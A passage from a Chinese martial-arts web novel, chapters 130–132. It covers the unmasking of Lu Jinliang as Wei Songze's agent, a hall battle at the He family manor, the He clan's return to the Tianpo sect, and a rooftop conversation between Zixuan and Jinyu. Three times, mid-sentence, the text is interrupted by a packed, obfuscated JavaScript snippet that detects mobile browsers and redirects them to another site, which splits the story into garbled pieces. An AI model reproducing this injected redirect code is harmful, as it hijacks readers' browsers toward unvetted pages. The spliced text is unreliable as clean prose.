“又是没有?那这厅上的响水帮、吴先生和曹家堡算什么?你总不会告诉我,他们三方都是你请来助拳的朋友?那可真是凑巧,怎么请来请去,明明从不同地方来的三个势力,却都听从魏崧泽的号令,在他的手下办事呢?” “魏崧泽?这是谁?”厅上众人中有些人从未听说过这个名字,便脱口问了出来。 “魏崧泽乃是天魄门故门主苏明启的三弟子,当年门主之争中的另一方便是他。只是不知道,响水帮、吴先生还有曹家堡是何时入了他的麾下?”冉宗杰开口解释。 这下厅上所有人的目光瞬间转移到了他适才提及的三方势力首领身上,都想知道贺新韵所说到底是不是真的。 130. 拿下 众人瞩目之中,贺新韵蓦然起身,对着冉宗杰躬身行了一礼,又向厅上群豪抱拳:“副总镖头及诸位前辈明鉴,小女北上西河之时,响水帮以十倍于我的力量在太岳山设伏,将我擒去……” “你瞎说!”项二马上站出来,“响水帮何时擒拿过你,我们当时抓住的明明是假扮你的另一名女子……” “这么说响水帮是承认的确打算抓我咯?”贺新韵看着他,满意地笑着。 项二意识到自己失言,急忙去看卢金良,却只收获了他的一枚白眼,不敢再多话,退了下去。 “响水帮一向只在淮水周围活动,好端端的怎么会跑到晋中?何况我一个孤女,哪里配得上你们如此劳师动众,誓要拿获?”贺新韵得了势,便继续说道,“我倒要问问,响水帮此举,到底是为了什么,抑或是究竟受了谁的指使?” 两问下去,大厅里鸦雀无声。项二嘴巴紧闭,贺新韵的目光便在卢金良和贺永识之间逡巡。 群豪顺着她话中之意,已然想到响水帮必然是提前得到消息,才在她赶赴贺家庄的路上堵截,意图所指自然是藏宝图。然而响水帮势力有限,何以会侦知贺新韵隐秘的行程呢?那必然是还有幕后之人了,于是“魏菘泽”三个字便再度被众人记起。 贺新韵停了停,给足了众人默默思量的时间,等到大多数人开始顺着她的目光也瞧向卢金良或是贺永识时,才又接着道:“吴先生,听说你倪家庄中可是活跃的紧呐,要没有您大谈天魄门的百年秘宝,也不会那么容易就把杀人嫌疑引到天魄门头上,更不会让如此多的江湖人突然间关心起这桩已久不为人所知的宝藏。” 吴先生阴沉着脸,没有说话。郝鹏祖、邓钊两人回过味来,竟然彼此对视着点了点头,仿佛一个时辰前彼此龃龉的不是他们。 “还有卢堡主,早早来到西河,趁着我二叔危机当前、惶惶不可终日之时,承诺帮忙护卫贺家庄。恕小女多疑,卢堡主的仗义援手必然不是毫无所求的吧,可如今的贺家庄能给您什么呢?情报?曹家堡沉寂多时,要情报何用?钱财?曹家堡自有产业,不一定看得贺家这点财产?那还能是什么?莫不是那张可能存在的藏宝图?” 这番抽丝剥茧,步步逼近,令群豪无暇做他想,越听越是这么个道理,越来越相信卢金良等人的真实目的也是藏宝图。甚至有人怀疑,自己被撺掇来此,实际上也是卢金良的上封,那个什么魏菘泽的手笔。一想到自己做了他人的棋子,还差点死伤在贺家庄,群豪的脸色便不再那么好看。 同样惊诧的还有谢立梁,他虽然早知卢金良私下里和魏菘泽有联络,上回赴太白山逼迫文远骥也多少受了他的怂恿,但从未想到卢金良居然已经听命于他。可况听贺新韵的意思,似乎倪家庄、响水帮等也是魏菘泽的势力,这就不得不让人心惊了。 卢金良脑筋转得飞快,此刻群豪疑心被贺新韵挑起,不是为自己和魏菘泽的关系辩解的好时候。只要他咬死不认,就能在群豪心中留些一丝怀疑,将来有机会还有再翻转说法的可能。当务之急是贺新韵,只要抓住她交给少主,既能堵住她的嘴巴为我所用,还能讨魏菘泽的欢心,让他不至于大发雷霆。 计较一定,他便不再犹豫,大喝一声:“妖女!休得胡言乱语,妖言惑众。什么魏崧泽,你以为随口编一番谎话便能将罪名扣到我和贺庄主身上吗?” 随后他的拳头便朝着贺新韵砸去。贺新韵毫无躲避之意,定定等着他的拳头递到眼前,要让厅上所有人都清清楚楚地看到他作为一个武林前辈是如何对着自己暴跳如雷的。 眼看着贺新韵将要被卢金良一拳打晕,众人不由得惊呼。突然从梁上飞来两枚钢珠,不偏不倚地击中卢金良的乳中穴。卢金良吃痛不已,本能地抬起双臂护住心脉。这一下,贺新韵的杀机骤解,适才紧张不已的群豪才大喘了一口气。与此同时,梁上飞下一个人,阅历丰富的老江湖们很快认出他是大名鼎鼎的“百步穿杨”谭修明。 卢金良一击不中,即刻反身再次攻上。贺永识、吴先生和项二都已明白他的意图,也立刻跟上,从不同方向冲向贺新韵。 谭修明双手用劲,四枚钢珠激射而出,项二最先中招,膝盖中弹跪了下去。吴先生使出钢扇,企图拂去疾冲过来的钢珠,哪知那钢珠上附着着极大力道,自己的扇骨刚刚与之接触便被震开,连带着整个人也向后踉跄。贺永识被钢珠打中脚腕,当下便翻了一个跟头倒在地上。四人之中只有卢金良早做防备,斜刺里飞出,绕过钢珠的去势,直奔贺新韵。 谭修明也不转身,反手再射出两枚钢珠,阻住了卢金良的攻势。但此时卢金良距离贺新韵只有两步只遥,若下一刻谭修明还不能伤及他的要害,贺新韵顷刻间便会有生命危险。 可她就是一动不动,铁了心要做卢金良的靶子。原本站在他身侧的谢立梁早早闪开,在一边做起了看客。林夫人犹豫着要不要出手,冉宗杰看不下去,纵身而上,和卢金良拼起了拳脚。 卢金良的随从共有四人,本来立于他的身后,此刻见他行动受阻,几无可能立马将贺新韵拿下,旋即抢出,绕过几个战团直奔贺新韵。贺永芳见状立刻携剑上前,可下一秒就被其中一人出掌打中臂膀,力道之强,远超普通江湖人。 贺永芳心急如焚,正要破口大骂许淑平言而无信,到了此刻还不现身。就听见厅外响起一阵惊呼,刚一回首便看见许淑平从天而降,一掌一个将两个期进贺新韵的人打出数丈。另外两人则被赶来的紫璇和江珺翊截住,彼此斗了起来。 群豪之中,有人瞧出对阵双方皆为高手,恐怕自己讨不到什么好处,不如走为上计。也有人认为这是一个机会,若能火中取栗,将贺新韵拿在自己手上,说不定还能分得一杯羹,于是不少人也乘乱加入战团,看似在与贺家为难,实则是想尽办法接近贺新韵。 他们刚有移动,瑾瑜便立刻飞至核心,护住贺新韵,紫瑛和杜彦成则自外侧攻来,四人包围十来个江湖人,暂时未落下风。贺永芳长舒了一口气,骂了两句后便跟招呼贺家护院,一部分继续堵截响水帮帮众,另一部分功夫好的则来帮助贺新韵等人对敌。 不多会儿,厅内厅外便形成多个战局,只有少部分群豪预备静观其变,既没有溜走,也没有出手。 郝鹏祖原本也想凑上去,却被林夫人扯住,对他道:“停手!你刚才伤了,不要命了?郝鹏祖却对如火如荼的打斗很是眼热:“抓住那个小妞才能打听出藏宝图的下落!”林夫人瞧了一眼内外局势,低声道:“再等等。”郝鹏祖一向听她的话,见她心志坚定,便乖乖有她拉住。他们二人的手下也一齐退往大厅边缘。 和紫璇对阵的是个使流星锤的瘦高男人,他手持两尺多长的锁链,锁链两侧缀的两个布满倒刺的铁锤,足有小孩的头颅那么大。可那人使出来却仿佛轻如弹珠,铁锤可以随心所欲地击中任何他想让他击中的地方。 紫璇的短剑在此刻毫无优势,她尽量上纵下跳,在对方的头颈和下半身招呼,虽然伤了那人不少,但一直未能击中要害。 流星锤呼呼呼再度袭来,紫璇挥剑上挑,真力激射而出,迫使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546296|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人变招退闪,可下一秒,流星锤又随着旋转的势头荡了回来,紫璇改为劈砍,那人肩头硬生生受了一剑,右手摆荡,一侧的流星锤向上飞去。 紫璇扭转手腕,意欲将它隔开,但铁锤速度极快,她刚把剑从那人肩头拔出,铁锤就已经绕过剑身垂了下去,铁链缠绕,下一刻她的短剑就被卷走。 她屏住呼吸,立刻矮身、退后,继而纵越,右腿斜出,踢中那人脑门。但她到底失了武器,下一招,对方的铁锤再次迫近,她只有闪避的份儿。铁锤几乎是贴着她的身子飞过,她试了几次都近不了那人的身,实在无法,便一咬牙,在地上滚了过去,右手拳头已经击中那人脚踝。她的力道不小,那人立时便倒,可即便在这个时候,他还能操控流星锤攻向紫璇后背。 一直密切关注着战局的齐熙宁见到此景此景,立刻持剑扑了上来。她先是斜刺里飞出将紫璇撞开,继而横剑上劈阻住铁锤的来势。 但铁锤的力道极大,她的剑只碰到铁锤表面的倒刺便被弹了回来。眼看着铁锤将要砸到她的胸口,被推到一旁的紫璇已经借力飞起,绕至那人身侧,去擒拿他的手腕。那人被紫璇拉起,铁锤随即飞离了齐熙宁眼前。飞起的铁锤被那人随心操纵,稍稍转向,即将从紫璇面门划过。而另一端的铁锤同时飞出,向着正要赶来相救的齐熙宁袭了过去。 江珺翊瞥见这一幕,心惊肉跳之下使出全力逼退对手,就着这一瞬间的空隙闪身飞来,可惜剑被击向齐熙宁的那枚流星锤荡开,他的手腕重重吃了一计,从手腕到小臂被划出数道血痕,深可见骨。 勉强躲开的紫璇再接再厉,趁着江珺翊分去那人大半注意力之时使出全力掌击其后背,终于让瘦高男人口喷鲜血,倒在了一边。 齐熙宁扑到江珺翊身边,哭声已起:“你……你干什么!”受伤的手臂被她小心翼翼捧着,江珺翊却露出了一个孩子气的笑容:“还好,你没受伤。” 而另一头的紫璇已经力气用尽,随着坠地的流星锤一起,瘫倒在地。 早在江珺翊发动之时,瑾瑜也已观察到这处的情况,只是他功夫有限,很难快速甩脱和自己缠斗的敌人。当看到江珺翊扑了过去,他才稍稍松了口气。一边出招一边不时回头关注紫璇和齐熙宁的情况。 当他看到紫璇虽然击毙劲敌,却最终倒地奄奄一息时,恨不得立刻奔赴她的身边。可情势却不容他任性而为,即便此刻心急如焚,却也只能强迫自己冷静,必须冷静,如果不先对付了这些来自各方的喽啰,战局不熄,天魄门几个月的筹谋都会毁于一旦,那样紫璇的伤就白受了。 另一边,冉宗杰和谭修明配合得当,已将卢金良逼得节节败退,许淑平以一敌二,已然占据上风。两团人影忽左忽右,终于撞在了一起。这时,许淑平忽然撇下自己的两个对手,出人意料地飞身打中正在倒向自己这一边的卢金良,卢金良重重扑倒,鲜血自胸腔涌出,一口气提不上来,膝盖一软跪倒在地。而谭修明则使出两枚钢珠,逼得两个跟到许淑平身后的人不得不后退。冉宗杰顺势而上,打中了其中一人的腰腹。趁着这个当口,谭修明又打出一枚暗器,阻住了原本和江珺翊对阵那人想要扑来的脚步。 紧接着许淑平再出奇招,拿住被冉宗杰击中之人,随着他本身的劲道一掼,将他砸到另一人身上,二者相撞发出巨大的响声,头骨碎裂当即殒命。 这一场面就发生在谭修明阻住的那一人的眼前,他极度惊骇,忘记了继续向前,冉宗杰旋即斜出右腿,将他踢翻,下一瞬便卸了他的肩膀,让他再也动弹不得。 131. 发声 卢金良和他带来的四个高手均被拿下,瑾瑜几人虽有负伤,但全部取胜,乘机作乱的几个江湖人纷纷落败,只有吴先生和他的两个弟子,专在战局之间左右横跳、推波助澜,未受重击,此刻并仍有余力。腾出手来的谭修明摸出囊中所剩的全部钢珠齐射而出,吴先生背部的大椎、命门、环跳三穴同时中袭,口喷鲜血,两个弟子正面中招,也随即停手就掳 瑾瑜解脱出来的第一时间就挨到了紫璇身边,焦急地唤着她的名字。 留下来于各个角落观战的江湖人早已忘了怎么说话,只知道今日所见,已远远超出自己平日里所能接触到的武学,一方面感叹没有落下此番热闹,另一方面也庆幸自己没有莽撞,为了一副尚无眉目的藏宝图就与天魄门为敌。 卢金良和四个高手被拎至厅中央,许淑平占据庄主之位,目光扫过地上五人,一一叫出他们的来历与名号:“‘半金半银’管式兄弟、‘流星摆尾’戴均,还有伏虎派的黄进源。”群豪顺着她的话音,伸长了脖子想看的仔细些,每听到一个名字都忙不迭地低声惊呼。 “半金半银”和“流星摆尾”成名多年,他们的来历和战绩对于大部分江湖人来说都不陌生,黄进源这个名字虽是今日第一次听闻,可伏虎派当年权势不小,加之一夜之间消失的故事历来被当做武林中一桩未了的公案口口相传,是以他吸引到的目光并不比其余三人少。 这四个人显然不是曹家堡的属下,却作为卢金良的随从被一起带进了贺家庄,足见卢金良此番前来下的本钱不小,联想贺新韵刚才所说的话,不难怀疑他真正的目的。而且,如果魏菘泽真是幕后推手,其网罗的高手之多、之盛亦可见一斑。 卢金良拿胳膊抱着胸口,面如死灰,拿不到藏宝图、抓不住贺新韵,还着了这么多好手,谁知道魏家父子得知这一切后将如何大发雷霆。 贺新韵不知从哪来捧来贺永识的灵位,走上厅来,转向已经挪到自己儿子身边的贺永识,高声道:“贺永识,今日我便要替我爹来兴师问罪。前任庄主死于外敌,庄主之妻为人所害、女儿下落不明,你作为他的手足和继任庄主,置身事外、从不详查,其罪一;你不尊天魄门号令,与叛徒为伍,谋算天魄门秘宝,其罪二;阴谋败露便意图谋害前庄主之女,其罪三!三罪在身,你还有何脸面立于贺家历代祖宗的面前,忝居贺家家主之位?!” 贺永识按住想要说话的贺新峦,闭上眼睛不再争辩。卢金良事败,他所有的底牌被掀,相反贺新韵手中有贺永诏的亲笔信和天魄门的支持,自己就是想争也没有资本。此时此地,不如考虑如何带着儿子安然出去,再来筹谋以后。 他良久都没有回应,最后才扶着膝盖站起,顺便也将包扎停当,身体各处缠着白布的贺新峦扶了起来。 众人都以为他要俯首认罪,却没想到下个瞬间他却突然踏出数步,踢到了离自己最近的几个江湖人,然后反身向后,携子闪入了厅后。贺永芳即刻追出,半响后再次回到厅上,黑着脸道:“二哥他……早就留了后手,刚刚已经被他的心腹接应,逃出庄去了。” 正事要紧,贺永识能力有限并翻不起什么大浪,可以暂时不去管他。许淑平接过冉宗杰递过来的贺永诏亲笔信,对着厅上众人道:“贺永诏遗书在此,贺家庄从今日起重归天魄门。既然贺永识畏罪潜逃,如今贺家以贺三小姐为大,便请她代行庄主之职。” 贺永芳尚未答话,一向更喜欢她掌家的贺家下人和低阶护院们先喜不自胜,都期待着望着她。 贺远芳上前,对着贺永诏的排位敛衣下拜:“小妹必不负兄长遗命,不负贺家先祖期许,护持山庄,永继先泽。” 继而向许淑平行礼:“贺永芳先替大哥谢过许前辈养育看顾新韵的恩情,再以庄主之身,代贺家庄上下复归天魄门,贺家愿为天魄门驱策。” 许淑平这才稍稍露出些微笑意,将她扶起:“天魄门也必会担起襄助贺家攘外安内之责。” 贺永芳与许淑平相视颔首,彼此都明白刚才这句对答的含义,贺新韵瞧见此情此景,也很欣慰爹爹的遗志能够有人继承,而且这个人还是最为贺家着想的贺永芳。 这之后,贺永芳便命人先将受伤的紫璇和江珺翊带去安置,瑾瑜、紫瑛和齐熙宁一起离开。余下的江湖人面面相觑,早已没了最开始的志在必得。 许淑平朗声道:“十年前,贺新韵携故贺庄主的亲笔信上太白山,坦承贺家庄脱离天魄门的真情,并以庄主之尊愿永供驱策。但彼时贺家庄独立多年,与太白山几无往来,以当时天魄门的势力,实不愿轻易更改格局,便选择隐下真情,只要彼此相安即可。 “年初开始,关于天魄门藏宝图的传闻盛嚣尘上,招致多方觊觎,贺家庄也因此受累,天魄门若再不出面,必使局面难以收拾。今日诸事归正,许某也想请诸位帮忙传个话,藏宝图乃天魄门所有,寻图觅宝也为天魄门家事,实不与其他门派相干。若还有汲汲以求,甚至为此伤人害命之人,就休怪天魄门上下不留情面,必扫清而后快!” 刚刚对阵之中,天魄门一方武力之盛被众人看在眼里,许淑平的这番威胁便更添分量。群豪听罢,连交头接耳都不敢,接连嗫喏了几声“叨扰”便告辞离去。 林夫人命手下将郝鹏组负在背上,自己走在后面。贺新韵叫住她:“林夫人,刚刚多谢你,为我爹的书信作证。” 林夫人稍显错愕:“应该的,贺小姐不必客气。” 贺新韵从怀中取出一个小瓶:“郝寨主受的内伤不轻,需得小心保养。这是许前辈亲自炼制的益气补血的丹药,每日服下两颗,十日便可痊愈。” 林夫人双手接过,对上许淑平从远处投来的目光,冲着她点了点头,道了声:“多谢了”,之后便不再停留,随着自己带来的人一起出了庄子。 谢立梁特地留到了最后,向许淑平表明自己对卢金良投奔魏崧泽一事毫不知情,更加不知道他今日的筹划,这次来只是因为听到传闻,就想来贺家探听探听是否真有宝藏的下落。 这番辩解要多苍白有多苍白,许淑平不客气道:“太白山上我们早就议定,藏宝图由我们来找,你们几方若有了消息也需第一时间知会太白山。我很好奇,如果今日我没有出现,你亲眼看到贺永识和卢金良勾结,会怎么做?” 谢立梁呵呵干笑,将话题敷衍过去,并说自己会把今日贺家庄发生的事情通报给其他三家,然后便起身告辞。许淑平望着他的背影冷笑,但也没有再多说什么。 大功告成,一直紧绷着的许淑平终于能松口气了。不过紫璇和江珺翊受伤被抬下去的确不在她的意料之内,即便疲惫不堪,也需赶紧去给两个孩子看伤。 江珺翊旧伤未愈,又添新伤,好在没有伤及根本,贺家自有上好的金疮药,贺永芳提前吩咐过,人一抬下去,药同时也送到了房中。 许淑平自后门退出大厅时,紫瑛已守在外面,三言两语说完江珺翊的情况,然后带着哭腔道:“璇儿一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555557|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直昏睡,怎么叫都不醒,您快去看看吧。” 许淑平赶到时,贺新韵正守在她的床边,一脸焦急地捏着她的手,贺永芳候在门边,门外时吓人,等待差遣。角落里还有一个身影,许淑平瞥了一眼,是方瑾瑜那个小子,看他的模样,应该也是担心紫璇的伤势才呆在这里不愿离去,哪怕这里本不该有男子出现。 许淑平假作不见,两步跨到紫璇床头,从贺新韵手中接过她的手腕。房中所有人屏息凝神,全都盯着她,企图靠她的脸色来判断紫璇的伤要不要紧。 许淑平先是疑惑,继而皱眉,却并不着急。她命贺新韵将人扶起,自己绕到紫璇背后,用右手大拇指对准她的大椎穴,顺着督脉从上到下缓缓推了一计,近处的紫瑛立马注意到紫璇吐了一口气。许淑平如法炮制,又这样推拿了三次,引导紫璇口、鼻吐气吸气不断,等到呼吸平稳入常之时,紫璇终于醒了过来。 紫瑛和贺新韵自然是大喜,急忙凑了过去,隐在暗处的瑾瑜也高兴地淌出了眼泪。 然而许淑平的脸色却变得暗淡异常,她的目光穿过欣喜的两个晚辈,落在紫璇身上:“你离家出走,数月不归,就是为了把身体弄成这个样子?虚浮无力兼又混沌难解,这不是你该有的脉象,你告诉我,这到底是怎么回事?” 她语调严厉,紫瑛和贺新韵都吓了一跳。刚刚醒来的紫璇将头垂下,不发一语。 “已经入冬,你的身子本就不宜受寒,你还学人家三岁小儿玩离家出走的把戏,把自己的身体糟蹋成这样,如何对得你的父亲还有故去的母亲?!” 提到父母,下山前的委屈骤然涌上心头,紫璇抬起头想要回嘴,却最终还是紧紧咬住下唇把话咽了下去。 紫瑛担心地看着紫璇,小心翼翼出声:“姥姥,我们在路上被人下了毒,璇儿为了救我们才……才失了好多血,之后又一直赶路,她没有好好休养,身子才跨掉的,真不是她不听话……” 这番辩解并没有让许淑平缓和脸色,反而令她更加惊疑恼怒:“你在干什么?谁允许你这么做的!” 紫瑛不明白她何以生这么大的气,有些畏惧地觑着她的面容,贺新韵大着胆子拉住她的胳膊劝她先不要生气。床榻上的 紫璇依旧沉默,但肩膀微微抖动,泄露了她此刻极不平静的心绪。 “许前辈!”瑾瑜走出阴影,高声道:“紫璇姑娘救人心切才用了这个法子,就算不妥,就算您要教训她,是不是也可以先体念以下她的良善之心,而不是只顾着这般凶狠指责?” 许淑平做惯了长辈,多年来还不曾有一个人对她疾言厉色,不光她,房中其余人也都惊诧地转向瑾瑜。 瑾瑜再上前两步,几乎和许淑平面对着面:”我知道,前辈关心紫璇姑娘的身体,这才如此着急。可是,这样的话任谁听了都会委屈。她并非不爱护自己,故意要辜负长辈们的拳拳之意,只是当时情势所逼,她不得不为而已。您一不了解当时情形,二不关心她如今是不是不舒服,只管以长辈姿态评判她的对错,恕晚辈直言,未免太过无情了些。” 气氛凝滞,贺新韵忘了说话,紫瑛不知所措,连许淑平一时间也没了表情和言语。贺永芳最怕自己人吵起来,正在打算要不要上去劝和。 紫璇的眼泪涌了上来,正在眼眶里打转,又害怕瑾瑜再说出什么不恭敬的语句惹得许淑平更加恼怒,脑子一热,旋即跳下床铺,趿拉着鞋子越过眼前的紫瑛和许淑平,拉着瑾瑜将他带了出去。 132. 谈心 紫璇一心只想远离人群,只管往无人之地乱走,瑾瑜默默跟在后面。 奈何贺家各处都有下人或护院值守,每遇到一次,紫璇便转一次向,脚步越愈发急切。瑾瑜瞧出她情绪不对,携住她的臂膀,将她带离地面,捡着庄中最高的一处房舍飞过去,最后在屋脊上落了下来。 紫璇举目望天,久久都没有说话。用余光看去,她的表情木然,适才眼眶中的那一点泪光也不见了。瑾瑜猜不到她在想什么,但看她的样子似乎也不愿被打扰,便忍住关心的话语,等她先开口。 “我娘走后,我就一直被寄养在秋山居,伤心难过的时候我总会找个没人的地方躲起来……偷偷地哭……一边哭一边想着,怎么还没人来找我。”说到这里,紫璇自嘲地撇了撇嘴角,“可是我又很怕被姥姥发现,解释不清楚我为什么哭,往往还要落几句埋怨。” 她深吸了一口气,又道:“有一段时间我成日成日地睡不着,就会半夜偷偷溜出房去看月亮,月亮那么亮又那么冷,我一个人坐在亭子里吹着风,周围安静地连鸟鸣声都听不到……” 想象着一个年幼的女孩在黑沉沉的夜里独坐水上的画面,瑾瑜的心闷闷地疼,要是自己那个时候就认识她该多好。可转念一想,认识她又能如何,你从不会以为自己能改变她的处境吧。 “谢谢你。” 跑偏的思绪被紫璇的三个字拽了回来,瑾瑜有些发懵:“谢我什么?” “谢谢你帮我说话。”紫璇只说了一半。 “我……”瑾瑜挠挠后脑勺,有些不好意思:“你不怪我多管闲事,对许前辈没有规矩?” “你刚才的每一句话其实都是我想说的,只是我没有勇气罢了。如果这还要怪你,那也太不知好歹了。” 紫璇的语调轻快,眼角也不似刚才紧绷,瑾瑜这才释放出一个笑容。 “全家上下,包括我爹在内,最牵心我身子的便是她了。定期给我诊脉,悉心为我研制药材,我的一应生活起居、饮食衣着都必须由她亲自过目。从小到大,她为我费了不少心思,这些我都知道。所以她有时严厉些,责备我不注意保养,我也从不怪她。” “可你还是会委屈、失落,希望她可以先抛下那些要求,关心关心你的不舒服,对吗?” 紫璇抬头,对上他洒在自己身上的温柔目光,一时有些失语。心中涟漪荡漾,萦绕在她脑海中许久的那个问题差一点就蹦出来:“你是不是还喜欢我?”可她还不知道,要是瑾瑜回答“是”,她该怎么办。于是她立马垂下眼帘,不敢再看他的眼睛。 瑾瑜将她的表情举动一一看在眼里,以为自己毫不顾忌的注视惹得她不快,便也马上有所收敛。于他而言,能够这样听紫璇说说心里话,而不是被她拒之于千里之外,已经是奢望了。 回去的路上,两人并肩而行,都没再说话,更加不敢对视,一直到看见等在半路的许淑平,紫璇才急忙走快几步,稍微离瑾瑜远一些。 “你跟我来。” 许淑平只说了这四个字。 瑾瑜担心她又要责骂,立时就想张嘴替紫璇辩解,但嘴张到一半,却被许淑平的下一句话噎住了。 “我不是要责怪她,你不用担心。” 这话听着别扭,瑾瑜没想明白自己为什么会觉得别扭,紫璇已经偷偷递过来一句“不妨事”,然后便跟着许淑平一起去了。 贺永芳单独辟出了一个较大的院子作为天魄门众人的客居之所。许淑平将紫璇带到自己房中,问道:“你的血能解毒的事,你是怎么知道的?” 紫璇低眉敛目,照实答道:“十三岁那年腊月,我高烧刚褪,睁开眼睛前听到了你和爹爹谈及我的日常用药中多有解毒之物,所以按医理来说,我的血液亦可有此功用。” “就听到这些?” 紫璇点头,许淑平暗暗松了口气,便让她坐下来,给她仔细讲一讲究竟发生了什么,需要她放血解毒。 那日她失血在先,对付“黑白双煞”时搅动真气,以至于气血失调,这才口吐鲜血昏死过去。与此同时,江珺翊在胡二家也遭遇了另外两个高手,花了好一番功夫才将二人击毙,脱离险境。再看胡二和他的家人时,发现他们早已被人杀死。 他和紫瑛、杜彦成意识到事情不对,即刻赶回珍娘的炊饼铺子,看到的已然是横尸店内的“黑白双煞”和昏厥的紫璇、焦急的瑾瑜和躲在灶下瑟瑟发抖的珍娘。 江珺翊以自己的内力灌入紫璇体内,但收效甚微。当时也已深了,找不到大夫,众人便打算第二天一大早就去扣药坊的门。所幸一个多时辰后紫璇自行醒转,除了外伤似乎也没什么大碍。 紫瑛不放心,坚持要找大夫来仔细瞧瞧。紫璇却担心前一晚发生之事是敌人连环计中的一部分,最有可能的目的就是要阻拦他们增援贺家庄。江珺翊也做此想,若魏菘泽往贺家派去大量高手,单凭许淑平和谭修明怕是难以抵挡。 紫璇辩称自己暂且没有大碍,与其在这里找没本事的大夫,不如直接去西河请姥姥看诊更为有用。紫瑛这才愿意让步。稍作休整之后,众人马上出发,直到今天早上群豪围剿贺家庄时才堪堪赶到,还来不及和许淑平多做解释,就上了阵。也正是因为内力问题被反复激起,和“流星摆尾”戴均对阵时紫璇才力有不逮,最终晕了过去。 紫璇并未赶着回答许淑平的提问,而是从吴宏出逃讲起,最后才说到她和江珺翊两边各自遇袭的事情。 她一路讲下来,许淑平都没有打断。最后一个字落地时,她已明白紫璇的意思:虽然他们在晋州挑落了‘少主’,但魏菘泽的势力还在,一路尾随他们到达济源,瞅准时机,下毒不成就派高手暗杀。 “就算杀不死,至少也能打你们个措手不及,要是有人受伤便会耽搁天魄门增援贺家庄,这样他们在贺家的谋算才有可能成功。”她将紫璇没说完的话补上,冷笑两声,“魏崧泽好大的谋划、好大的能耐!” “从最早的赵绪良,到这一回的“黑白双煞”和先前出现在贺家庄的四个高手,足见魏师叔暗地里筹谋多年,对于天魄门的宝藏势在必得。”紫璇道。 “你和珺翊这次出力不少,若没有你们及时赶来,我和修明,再加上长风镖局的副总镖头,无论如何也拿不下这么多人。” 许淑平少有的赞许口吻,紫璇听着很是暖心,刚刚的委屈也因之散去不少 “魏崧泽这一回吃了亏,至少能消停一会,先不去管他。”她再次站起,伸出手,“我再来看看你的脉象。” 紫璇乖乖交出手腕,许淑平凝神摸脉,良久才退回座位:“刚才我就觉得奇怪,就算是失血过多,脉象最多虚浮,怎么会有混沌之相。似乎你的体内多了一股本不属于你的内力,且与你的原本极寒的体质相悖。火寒相争,互不统属,但凡你动用真气,二者就会扰动地更加厉害。” 她盯着紫璇:“这股真力从何而来?你在外时,莫不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566202|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么奇遇?” 紫璇还没想好如何把与骆雁声相遇的事告诉许淑平,便只把有关木兰庄和俞映华的遭遇说了出来。 听到俞映华的名字,许淑平愣了半响,许久才道:“无论如何,她做了自己年轻时想做的,还算不赖。” “她临终前说,她一生都没有在自己想做的事情面前退缩过,想怎么活就怎么活,死也没什么可惜的。” “想怎么活就怎么活……”许淑平绽开一个笑容,颇有些安慰道,“果然是她。” “要调和二者冲突,唯有高深的内功心法才能办到。等此间事了,我们回太白山,找一找天魄门典籍中有没有能够助你的功法。”许淑平最后道。 紫璇点点头没有多话,既然姥姥所想和骆雁声所说一致,自己就更无需提起骆雁声了。 ******************** 贺永识逃走时只带了贺新峦,她的发妻和三子贺新川还在贺家庄。贺永芳并没有为难二人,一应待遇如旧。 接下来的几天,贺远芳在贺新韵的协助下着手清点贺家庄各色人丁、账目,撤换了几个办事不力,只靠巴结贺新峦上位的管事,又逮捕了几个贺永识走时没有带走的心腹,将他们关押起来,留待后续审问。 姑侄俩夙兴夜寐,贺家庄短短几日就恢复了往日模样,甚至庄内庄外各项事务都比以往进行地更加平顺。下人们之中少数几个最开始还担心女人掌家可能会引发混乱、到处说闲话的人也渐渐闭嘴了。 贺家的消息网一向由庄主亲自统领,贺永芳所知并不全面。她很是花了几日功夫,和许淑平一齐厘清了其中脉络,让它在自己手底下继续运转了起来。当务之急,一是追索贺永识的下落,而是派人监视谢家等天魄门旧属的动向。 江珺翊的伤口虽然可怖,但有齐熙宁每日按时、细心地帮江珺翊上药,他的伤逐步见好。只是多日间不能持剑,功夫落下不少。 看着他愁眉不展,齐熙宁撇嘴道:“伤养不好,你剑法再厉害也没用!别只想着练功练功,趁着这个时候好好休息一下不好么?” 江珺翊这才展颜笑道:“知道了,都听你的。” 冉宗杰还要回金陵复命,便于群豪会的第二天动身离开。齐熙宁为了照顾江珺翊留了下来,她性格活泼又快人快语,很得紫瑛喜欢。杜彦成和她也是旧识,她每天除了和江珺翊待一会儿,大部分时候都和瑾瑜、紫瑛、杜彦成玩在一起。 